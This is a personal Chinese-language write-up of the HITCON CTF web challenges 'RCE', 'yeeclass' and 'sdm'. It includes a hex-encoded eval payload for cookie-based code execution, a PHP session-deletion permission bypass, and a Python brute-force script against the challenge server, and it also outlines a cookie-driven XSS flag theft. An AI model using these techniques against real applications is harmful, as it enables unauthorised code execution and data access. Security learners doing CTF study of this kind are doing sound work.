比賽都結束兩個禮拜才發有點混
這次 HITCON 本來想說 TSJ 都去當主辦方所以有機會台灣前五
結果隊友各種燒雞所以只有拿到台灣第十,總排名 83
有夠可惜
嗚嗚我的 200 鎂
Web
RCE
題目會發給你一個 signed cookie,如果 cookie 的 content 的長度大於 40 則會拿來 eval
如果小於 40 則會把你原先的 content 後面加一個隨機的 hex 然後丟回來給妳
app.get('/random', function (req, res) {
let result = null;
if (req.signedCookies.code.length >= 40) {
const code = Buffer.from(req.signedCookies.code, 'hex').toString();
try {
result = eval(code);
console.log(result)
} catch {
result = '(execution error)';
}
res.cookie('code', '', { signed: true })
.send({ progress: req.signedCookies.code.length, result: `Executing '${code}', result = ${result}` });
} else {
res.cookie('code', req.signedCookies.code + randomHex(), { signed: true })
.send({ progress: req.signedCookies.code.length, result });
}
});
也就是說我們其實可以直接用 bruteforce 去把我們想要執行的 code
弄出來
最糟只要 16*40=640 次就好eval(req.query.a)
然後轉成hex6576616c287265712e71756572792e6129202020
hitcon{random cat executionnnnnnn}
yeeclass
這個題目有點複雜
總之是說一個可以提交作業的系統
並且還有分公開跟非公開的作業
然後每個作業都會有一個 id
只要拿到 id
就能看到作業的內容
然後那個 id
是通過
$id = uniqid($username."_");
$id = hash("sha1", $id);
來生成的
等下再解釋
他還有一個權限系統
分別是學生:-1 助教:0 老師:1
而只有助教以上的權限才能檢視非公開作業的列表
if ($_SESSION["userclass"] < PERM_TA && !$result["public"]) {
http_response_code(403);
die("No permission");
}
並且列表的每一項都會有 submit 的時間
foreach ($result as $row) {
<tr>
if ((isset($_SESSION["userid"]) && $_SESSION["userclass"] >= PERM_TA) || $row["userid"] == $_SESSION["userid"]) {
<td><a href="submission.php?hash=<?= $row['hash'] ?>"> $row["name"] </a></td>
} else {
<td> $row["name"] </td>
}
<td> $row["score"] ?? "-" </td>
<td> $row["username"] </td>
<td> $row["time"] </td>
</tr>
}
而我們的 flag 則就是被放在非公開的作業裡
我們的目的就是要想辦法得到 flag 的 id
那要怎麼做呢?
我們去看一下 PHP 的 uniqid
是怎麼生成的
在 uniqid
的 doc 下方的留言有人提到
In other words, first 8 hex chars = Unixtime, last 5 hex chars = microseconds
也就是說其實 uniqid
是基於 timestamp 去生成的,所以我們只要找到 flag 的 submit 時間就能找到他的 id
我們再看看前面的 code
$_SESSION["userclass"] < PERM_TA
這一段是有問題的,我們登入的時候他會讓我們 session 的 userclass
變為-1
但是假如我們把 session 刪掉
也就是說這段會變成 NULL < PERM_TA
而經過 PHP 轉型又會變成 0 < PERM_TA
就可以直接 bypass 掉他的檢查
也就是說我們就可以直接看到 flag 的 submit timestamp 了
6381a5b5c952
要注意的是他生成 uniqid
跟 insert 進 SQL 的 timestamp
會有誤差
所以最終還是要透過腳本來爆破
s ='flagholder_6381a5b5c9'
for i in range(0x152):
h = s+f'{i:03x}'
hash = hashlib.sha1(h.encode()).hexdigest()
r = requests.get('http://yeeclass.chal.hitconctf.com:16875/submission.php?hash='+hash)
print(f'{h}:{r.content}')
if b'not found' not in r.content:
break
hitcon{0-To13r4nc3_f0R_h0m3w0rkPl4gi4ri5m:(}
sdm
這題我其實沒解出來
這題他的網站是一個可以貼訊息的網站
並且在查看訊息之後,訊息便會立即刪掉
同時在查看訊息的地方可以 xss
但是 xss 的 input 卻是來自於 cookie
async function load() {
const id = location.pathname.split('/').pop();
history.replaceState(null, '', '/');
const countdown = (await cookieStore.get('time'))?.value || 10;
const { content } = await fetch(`/api/message/${id}`).then(r => r.json());
document.getElementById('content').attachShadow({ mode: "closed" }).append(content);
document.getElementById('countdown').innerHTML = `Destructing in <span style="color:red">${countdown}</span> seconds...`;
setTimeout(() => location.replace('/'), countdown * 1000);
}
window.addEventListener('DOMContentLoaded',load);
他的 bot 會先提交 flag,然後再去逛你給他的網站,最後再去查看 flag
let SITE = "https://sdm.chal.hitconctf.com/"
let url = "https://example.com"
await page.goto(SITE);
await sleep(1);
await page.type("textarea[name='message']", FLAG);
await page.click("#submit");
await sleep(1);
await page.waitForSelector("#link");
const flagUrl = await page.evaluate(() => document.querySelector('#link').textContent);
page.goto(url);
await sleep(1);
page.goto(flagUrl);
但由於他 xss 的點在 cookie,所以讓他去逛自己的網站是沒用的
我沒想到的是,這題是要用前面的題目去讓他設 cookie
由於是同網域的關係才能這樣做
看 DC 上有人說自己是用 yeeclass 去做設 cookie 的動作
最後就能 xss 把 flag 帶出來了
甚至還有人是直接透過 v8 exploit 直接把題目變成 pwn 題
結語
只能說可惜
希望明年再參加的時候可以變超強